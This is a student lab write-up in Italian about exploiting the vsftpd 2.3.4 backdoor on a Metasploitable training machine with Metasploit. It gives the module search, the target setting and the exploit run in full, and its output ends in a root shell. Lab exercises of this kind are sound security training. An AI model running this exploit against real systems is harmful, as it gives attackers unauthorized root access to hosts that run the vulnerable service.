PRATICA S7L1 – Giorgio Trovesi

Nell'esercizio di oggi si chiedeva di exploitare la macchina Metasploitable sfruttando il servizio "vsftpd". Dopo aver configurato l'indirizzo di Metasploitable al 192.168.1.149/24 e ottenuto una sessione, bisogna creare nella directory di root una carta col nome "test_metasploit".

1. Con l'ausilio Msfconsole ho individuato gli exploit sul servizio vsftpd

```
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

2. Dopo aver scelto l'exploit numero 1 ho configurato l'indirizzo IP target

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)
```

3. Ho eseguito l'exploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 3 opened (192.168.1.203:41479 → 192.168.1.149:6200) at 2023-11-06 16:31:56 +0100
```

4. Da Kali ho creato sulla directory di root la cartella “test_metasploit” e ho verificato il tutto sulla macchina Metasploitable.